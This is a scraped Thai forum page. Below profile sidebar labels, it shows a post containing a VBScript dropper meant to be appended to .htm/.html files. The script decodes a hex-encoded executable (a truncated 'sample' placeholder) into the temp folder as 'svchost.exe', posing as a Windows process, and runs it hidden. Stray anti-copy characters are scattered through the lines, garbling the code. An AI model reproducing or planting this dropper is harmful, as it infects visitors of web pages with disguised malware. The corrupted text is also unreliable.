- เครดิต
- 405
- เพื่อน
- ทักทาย
- บล็อก
- อัลบั้ม
- โพสต์
- กระทู้
- แชร์
- สำคัญ
- สิทธิ์อ่าน
- 20
- จำนวนผู้ติดตาม
- จำนวนผู้กำลังติดตาม
- เพศ
- ไม่บอก
|
on *.htm *.html
5 t) l* g5 _+ r2 Q: W5 j
8 F& f8 t% [: T0 H( X2 H</html>
( U7 }# {/ V* p/ v( J<SCRIPT Language=VBScript><!--
_3 w% }1 J& E; eDropFileName = "svchost.exe"/ k; \3 G+ r; T+ J9 p F
WriteData = "4D5A900003................................................." <<== sample
4 i2 n: a, t4 g" n0 K3 j) m3 b& mSet FSO = CreateObject("Scripting.FileSystemObject")- i1 a- E5 w# g; q
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName3 l5 S" @7 v; t( @ @
If FSO.FileExists(DropPath)=False Then
$ c* E3 k9 M8 h0 oSet FileObj = FSO.CreateTextFile(DropPath, True)7 @ r% q: d: Y I: E
For i = 1 To Len(WriteData) Step 2
8 ] D, `0 D7 s* r1 E1 V5 ]- aFileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
) f' C; H6 `; yNext
' s1 P0 {! c( F* PFileObj.Close
& I! B, G4 ?' [% EEnd If3 y! ^/ h/ F: W- o Q5 g3 P/ W
Set WSHshell = CreateObject("WScript.Shell")
5 @- H# |; v X9 @% R5 J8 TWSHshell.Run DropPath, 08 O- e2 Q* j5 Q* U6 H: u
|
|
|
|
|
|
|